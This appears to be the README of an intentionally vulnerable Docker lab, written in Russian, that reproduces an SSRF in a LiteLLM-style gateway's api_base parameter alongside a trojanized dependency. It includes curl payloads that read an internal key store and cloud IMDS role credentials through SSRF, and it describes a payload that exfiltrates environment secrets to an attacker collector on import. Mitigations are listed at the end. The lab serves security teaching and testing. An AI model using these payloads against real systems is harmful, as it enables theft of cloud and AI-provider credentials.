
Намеренно уязвимая лаборатория Docker, воспроизводящая CVE-2026-33634: SSRF в шлюзе LiteLLM через api_base вместе с троянизированной зависимостью, с многофазным эксплойтом для кражи учётных данных.
api_base (PoC / Lab)⚠️ Намеренно уязвимая лаборатория, для образовательного и авторизованного использования. Запускайте только на своей машине, против контейнеров этого репозитория. Прочитайте SECURITY-NOTES.md перед началом.
🚫 НИКОГДА не запускайте эту лабораторию на облачной VM или на общей машине. У шлюза SSRF намеренно неограничен: если есть реальный IMDS (
169.254.169.254) или чувствительные сервисы на loopback/в LAN, SSRF их действительно достигнет. Порты публикуются только на127.0.0.1; оставьте так. Используйте изолированный/одноразовый хост.
CVSS 9.4 (критический). Компрометация цепочки поставок шлюза LiteLLM
(март/2026): вредоносная зависимость в библиотеке шлюза раскрыла
весь портфель учётных данных провайдеров ИИ. Рядом проявляется повторяющийся
паттерн этого слоя: ключ OpenAI в прокси и SSRF в параметре
api_base. Эта лаборатория воспроизводит обе уязвимости и связывает их в эксплойт.
litellm-telemetry-helper (в malicious-dep/) имитирует
скомпрометированную транзитивную зависимость. В нарративе инцидента слабый пин
(>=0.9.6) позволил бы резолверу подтянуть вредоносную версию 0.9.7 вместо
чистой 0.9.6. Полезная нагрузка срабатывает при import (достаточно, чтобы шлюз разрешил
зависимость) и в фоновом потоке эксфильтрует всё окружение
(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) на коллектор
атакующего — тихо, не ломая приложение.
api_baseПрокси (gateway/app.py) принимает api_base (base_url
провайдера) от вызывающей стороны, без allowlist. Атакующий контролирует, куда
шлюз делает запросы, и шлюз при этом ещё:
Authorization, иС этим можно: достичь внутренних сервисов (/admin/keys), украсть
облачные учётные данные в IMDS (169.254.169.254), просканировать порты внутренней
сети и утечь ключ каждого провайдера, направив api_base обратно
на атакующего.
HOST (вы / атакующий)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── сеть docker "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil вредоносной зависимости) │ (litellm │
│ • /collect (утечка ключа через SSRF) │ :4000) │
│ • /oob (подтверждение слепого SSRF) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (НЕ опубликован) ◄──────┤ │
│ imds.lab:80 /latest/... (НЕ опубликован) ◄──────┤ │
│ provider-mock.lab:9100 (upstream "обычный") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab и imds.lab не имеют опубликованного порта — только SSRF шлюза
их достигает. В этом и суть лаборатории.
Предварительные требования: Docker + Docker Compose v2, и Python 3.9+ с httpx для эксплойта.
cd CVE-2026-33634
# 1) поднять лабораторию (gateway :4000, коллектор :8080)
docker compose up -d --build # или: make up
# 2) установить зависимость эксплойта
python3 -m pip install -r exploit/requirements.txt
# 3) запустить полный эксплойт
python3 exploit/exploit.py # или: make exploit
Запуск отдельных фаз:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # только кража внутреннего хранилища
python3 exploit/exploit.py --only cloud # только кража облачных учётных данных
python3 exploit/exploit.py --only keyleak # только утечка ключей провайдеров
python3 exploit/exploit.py --only supplychain # только проверка beacon зависимости
Полный лут сохраняется в loot.json. Наблюдайте, как атакующий получает данные:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# произвольное чтение: внутреннее хранилище через SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# облачные учётные данные через SSRF к IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
Эта лаборатория отдаёт приоритет дидактической ясности и воспроизводимости. Там, где она абстрагирует реальный инцидент, это сделано намеренно — и стоит знать различия:
import litellm_telemetry_helper явно, вместо того чтобы пакет был
скрытой транзитивной зависимостью в дереве реального litellm. Эффект
(полезная нагрузка при import) идентичен; цепочка разрешения была укорочена.>=0.9.6 — это
нарратив (закомментированная строка в gateway/requirements.txt); в лаборатории зависимость
устанавливается из ./malicious-dep через Dockerfile — нет индекса PyPI, разрешающего
0.9.7 поверх 0.9.6. Чтобы отработать разрешение по-настоящему, поднимите локальный
индекс (pypiserver/devpi) с обеими версиями.api_base лаборатория использует URL verbatim,
когда есть явный путь (чтобы продемонстрировать чтение /admin/keys и IMDS
одним параметром). На OpenAI-совместимом пути реальный LiteLLM конкатенирует
фиксированный суффикс (/chat/completions) и делает POST — контроль обычно
над хостом (утечка ключа, SSRF по хосту), а произвольный путь появляется в маршрутах
/health. Продемонстрированное воздействие (утечка портфеля + внутренний/облачный
пивот) достоверно; точное построение URL упрощено.SSRF (api_base)
169.254.0.0/16 (IMDS);
разрешайте DNS и валидируйте IP до подключения (осторожно с rebinding).hop-limit=1 на облачном хосте.Supply chain
--require-hashes, lockfile); никаких >=.pip install как к выполнению кода (install hooks); используйте sandbox/изолированный CI.Учётные данные/секреты (baseline)
CVE-2026-33634/
├── docker-compose.yml # оркестрирует всё в сети labnet
├── Makefile # up / down / logs / exploit
├── gateway/ # УЯЗВИМЫЙ прокси LiteLLM-style (SSRF + import зависимости)
├── malicious-dep/ # троянизированная зависимость (полезная нагрузка при import)
├── collector/ # коллектор атакующего (/beacon /collect /oob /loot)
├── internal-service/ # внутренний /admin/keys (только через SSRF)
├── imds/ # mock облачного metadata service (только через SSRF)
├── provider-mock/ # "обычный" upstream (для контраста)
├── exploit/exploit.py # многофазный эксплойт (async)
├── SECURITY-NOTES.md # намеренные уязвимости, сдерживание и авторизация
└── README.md
| Фаза | Техника |
|---|
recon | Fingerprint шлюза; перечисляет модели/провайдеров; обнаруживает sink api_base. |
ssrf | Подтверждает SSRF слепым способом (out-of-band): заставляет callback с уникальным токеном к коллектору. |
scan | Port-scan внутренней сети через шлюз (конкурентный). |
internal | SSRF → internal.lab/admin/keys: эксфильтрует всё хранилище учётных данных. |
cloud | SSRF → IMDS: крадёт временные STS-учётные данные роли инстанса. |
keyleak | Направляет api_base на атакующего; шлюз утечает ключ каждого провайдера в Authorization. |
supplychain | Читает лут: троянизированная зависимость уже эксфильтровала окружение при import. |
report | Консолидирует воздействие и записывает loot.json. |